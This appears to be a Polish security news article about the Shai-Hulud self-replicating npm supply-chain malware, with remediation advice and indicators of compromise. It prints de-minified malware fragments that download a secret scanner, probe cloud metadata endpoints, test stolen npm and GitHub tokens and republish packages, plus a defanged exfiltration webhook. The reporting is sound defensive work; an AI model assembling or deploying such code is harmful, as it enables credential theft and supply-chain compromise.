Mega Sekurak Hacking Party w Krakowie! 20.10.2025 r. Bilety -30%

Kolejny atak na łańcuch dostaw w środowisku npm – kampania Shai-Hulud

17 września 2025, 11:12 | W biegu | 0 komentarzy

Całkiem niedawno opisywaliśmy kampanię, która miała być największym atakiem na łańcuch dostaw w historii. Atakujący wykorzystali przejęte, dzięki phishingowi, konta programistów i umieścili w pakietach złośliwy kod wykradający środki z portfeli kryptowalut. Przestępcy osiągnęli dość dyskusyjny sukces (na szczęście), jednak to nie znaczy, że na tym zagrożenia czyhające na developerów zniknęły. 

TLDR:

  • Niepokojące odkrycie badaczy bezpieczeństwa wskazuje na nowy rodzaj kampanii cyberprzestępczej. 
  • Przeprowadzony atak na łańcuch dostaw instaluje malware na komputerze programistów pakietów npm. Oprócz wykradania tokenów, złośliwe oprogramowanie samo się replikuje i rozprzestrzenia z wykorzystaniem paczek w rejestrze, do których dostęp gwarantuje odnaleziony w systemie token autoryzacyjny.
  • Atak wykorzystuje znane otwartoźródłowe narzędzia w celu identyfikacji poświadczeń do wykradnięcia.

Jak informują stepsecurity.io oraz socket.dev, w sieci trwa kampania samoreplikującego się malware, która dotknęła ponad 40 187 paczek npm (chociaż sytuacja zmienia się dynamicznie) w tym popularnego ctrl/tinycolor, czyli pakietu pobieranego niespełna dwa miliony razy w tygodniu. Badacze biją na alarm, ponieważ tym razem malware w bardzo prosty sposób replikuje się i infekuje kolejne pakiety, które są dostępne na systemach developerów. 

O ataku poinformował jeden z użytkowników na platformie GitHub.

Malware wykorzystuje narzędzie trufflehog służące do skanowania projektów w celu odnalezienia sekretów takich jak tokeny, hasła czy klucze API. Narzędzie nie jest tylko wrapperem na proste polecenie grep na znane nazwy zmiennych środowiskowych ale wykorzystuje między innymi miarę entropii do wykrycia, czy dany ciąg może być wykorzystywany do uwierzytelniania. Według doniesień badaczy, malware skanuje system plików w poszukiwaniu – w szczególności – poświadczeń do systemów chmurowych. Atakujący są zainteresowani tokenami osobistymi (PAT – Personal Access Token) do GitHuba, kluczami do środowisk AWS, Azure, GCP czy npm. 

Złośliwe oprogramowanie infekuje maszynę programisty przez przejętą wcześniej paczkę npm. Dzięki wyzwalaczowi “postinstall”, w momencie instalacji zainfekowanego pakietu npm uruchamiany jest zaciemniony (co jest ubocznym efektem zmniejszenia – ang. minified)  kod zawarty w pliku bundle[.]js. Jego zadaniem jest przeprowadzenie profilowania platformy, na której skrypt został uruchomiony (analiza kodu źródłowego wskazuje, że na celowniku cyberprzestępców znalazły się systemy z rodziny GNU/Linux oraz MacOS) oraz dociągnięcie wymaganych zależności takich jak trufflehog. Fragment kodu źródłowego dodanego do paczki npm został przedstawiony na listingu 1. 

// De-minified transcription from bundle.jsconst { execSync } = require(„child_process”);const os = require(„os”);
function trufflehogUrl() {  const plat = os.platform();  if (plat === „win32”) return „hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/…/trufflehog_windows_x86_64.zip”;  if (plat === „linux”) return „hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/…/trufflehog_linux_x86_64.tar.gz”;  return „hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/…/trufflehog_darwin_all.tar.gz”;}
function runScanner(binaryPath, targetDir) {  // Executes downloaded scanner against local paths  const cmd = `”${binaryPath}” filesystem „${targetDir}” –json`;  const out = execSync(cmd, { stdio: „pipe” }).toString();  return JSON.parse(out); // Parsed findings contain tokens and secrets}
Listing 1. Fragment złośliwego kodu poszukującego sekretów (źródło)

Co ciekawe malware nie szuka tylko lokalnie przechowywanych sekretów w systemie plików, ale aktywnie próbuje przeskanować środowisko uruchomieniowe. W przypadku odpalenia na systemie chmurowym, stara się wyciągnąć informacje z dostępnych endpointów (listing 2) oraz testuje dostępy do rejestru paczek npm oraz do portalu GitHub. 

// Key network targets inside the bundleconst imdsV4 = „http://169[.]254[.]169[.]254”;          // AWS instance metadataconst imdsV6 = „http://[fd00:ec2::254]”;                // AWS metadata over IPv6const gcpMeta = „http://metadata[.]google[.]internal”;  // GCP metadata
// npm token verificationfetch(„https://registry.npmjs.org/-/whoami”, {  headers: { „Authorization”: `Bearer ${process.env.NPM_TOKEN}` }});
// GitHub API use if GITHUB_TOKEN is presentfetch(„https://api.github.com/user”, {  headers: { „Authorization”: `token ${process.env.GITHUB_TOKEN}` }});
Listing 2. Rekonesans środowiska chmurowego (źródło)

Na uwagę zasługuje też aspekt eksfiltracji danych, który przebiega na dwa sposoby. Po pierwsze malware tworzy publiczne repozytorium na koncie atakowanego użytkownika o nazwie Shai-Hulud, do którego trafiają odnalezione sekrety. Oprócz tego, próbuje skonfigurować workflow GitHub Actions, który po spakowaniu przejętych poświadczeń w JSONa i zakodowanie do ciągu base64 wykonuje zapytanie do webhooka atakujących (hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7). Ten drugi mechanizm ma na celu zapewnienie persystencji – workflow eksfiltrujący poświadczenia będzie się uruchamiał przy każdym wypchnięciu zmiany do repozytorium. 

Rysunek 1. Repozytoria na kontach zaatakowanych użytkowników (źródło)

Dopełnieniem zniszczenia jest enumeracja kont GitHub i zmiana widoczności repozytoriów – prywatne projekty użytkownika zostają zmienione na publiczne na tej platformie (jest to krok, który został opublikowany dopiero w analizie aikido.dev)

Rysunek 2. Zmiana widoczności repozytoriów (źródło)

Najciekawszym elementem kampanii jest jednak zdolność malware do samoreplikacji. Nazwa malware, nawiązująca do “robaków” z popularnej powieści fantasy nie jest przypadkiem. Złośliwy kod nie tylko weryfikuje dostęp do różnych systemów za pośrednictwem wykrytych poświadczeń, ale aktywnie się kopiuje przeprowadzając infekcje dwudziestu najbardziej popularnych projektów npm zaatakowanego programisty. 

Malware enumeruje dostępne projekty przy pomocy API rejestru npm, a następnie publikuje złośliwe aktualizacje w innych projektach, potencjalnie rozprzestrzeniając się na maszyny innych użytkowników. 

// Deobfuscated NPM update snippetasync updatePackage(pkg) {  // Patch package.json (add self as dep?) and publish  await exec(`npm version patch –force && npm publish –access public –token ${token}`);}
Listing 3. Fragment złośliwego kodu wprowadzającego łatki do projektu użytkownika (źródło)

Jak słusznie zauważają badacze, sposób eksfiltracji danych przypomina niedawną kampanię, która dotknęła Nx

Początkowe informacje wskazywały na 40 przejętych, popularnych paczek npm (listy zbackdoorowanych paczek dostępne są w linkowanych artykułach). Jednak po upływie niespełna 24h, można stwierdzić, że skala ataku jest znacznie większa. W serwisie GitHub pojawiło się ponad 700 repozytoriów, które wskazują na to, że dane konta mogły zostać przejęte w trwającej właśnie kampanii. Oprócz tego, jak informują badacze z socket.dev, ofiarą ataku padły też paczki publikowane przez crowdstrike-publisher. Na ten moment wiadomo, że wykryte złośliwe zmiany zostały wycofane. 

Co może zaskakiwać, to rozbudowanie kampanii oraz dopracowanie scenariusza ataku. Przestępcy oprócz wykradania informacji z wielu źródeł sprowadzają na użytkowników jeszcze większe niebezpieczeństwo przez metody eksfiltracji. Poświadczenia i prywatne projekty mogą paść łupem nie tylko autorów tej kampanii, ale także oportunistycznych atakujących, którzy natkną się na opublikowane artefakty z ataku. W skrócie – trzeba mieć się na baczności. 

Kampania została świetnie przedstawiona przy pomocy schematu ideowego opublikowanego przez firmę StepSecurity:

Rysunek 3. Przepływ sterowania w malware Shai-Hulud (źródło)

Użytkownikom zaleca się zachowanie szczególnej ostrożności i weryfikowanie wskaźników świadczących o możliwości bycia ofiarą tego ataku. Jeśli zachodzi podejrzenie, że w systemie znalazły się złośliwe paczki, należy założyć, że doszło do naruszenia bezpieczeństwa i podjąć kroki zaradcze. Zalecane jest skontrolowanie wersji wykorzystywanych paczek, wyczyszczenie cache npm, usunięcie złośliwego bundle[.]js, usunięcie publicznych repozytoriów użytych do eksfiltracji oraz usunięcie workflowów z gałęzi stworzonych przez malware. Dokonanie natychmiastowej wymiany poświadczeń cloudowych (AWS, GCP, Azure), kluczy SSH, tokenów, haseł etc. Przypominamy, że sama rotacja haseł do serwisów typu GitHub czy rejestr npm może nie być wystarczająca – należy też zadbać o odpowiednie wygaszenie aktywnych tokenów dostępowych (np. poleceniem npm token revoke <id|token>).

Monitoring środowiska oraz wykorzystanie tzw. canary tokens, mających na celu wyłapanie użycia skradzionych poświadczeń jest również dobrą taktyką do walki z tego typu zagrożeniami. 

Musimy przyznać, że jest to naprawdę dobrze przygotowana kampania, która może wyrządzić wiele szkód. 

Jeśli chodzi o IoC, to podlinkowane na wstępie artykuły zawierają ich kilka. My zacytuje tutaj dwa najważniejsze:

  • 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09 – bundle[.]js
  • hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7 – webhook do eksfiltracji danych

Oprócz tego warto sprawdzić swoje konto GH i upewnić się, że nie ma na nim dodatkowego publicznego repozytorium (oraz czy nie zmieniła się widoczność innych projektów).

~Black Hat Logan

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz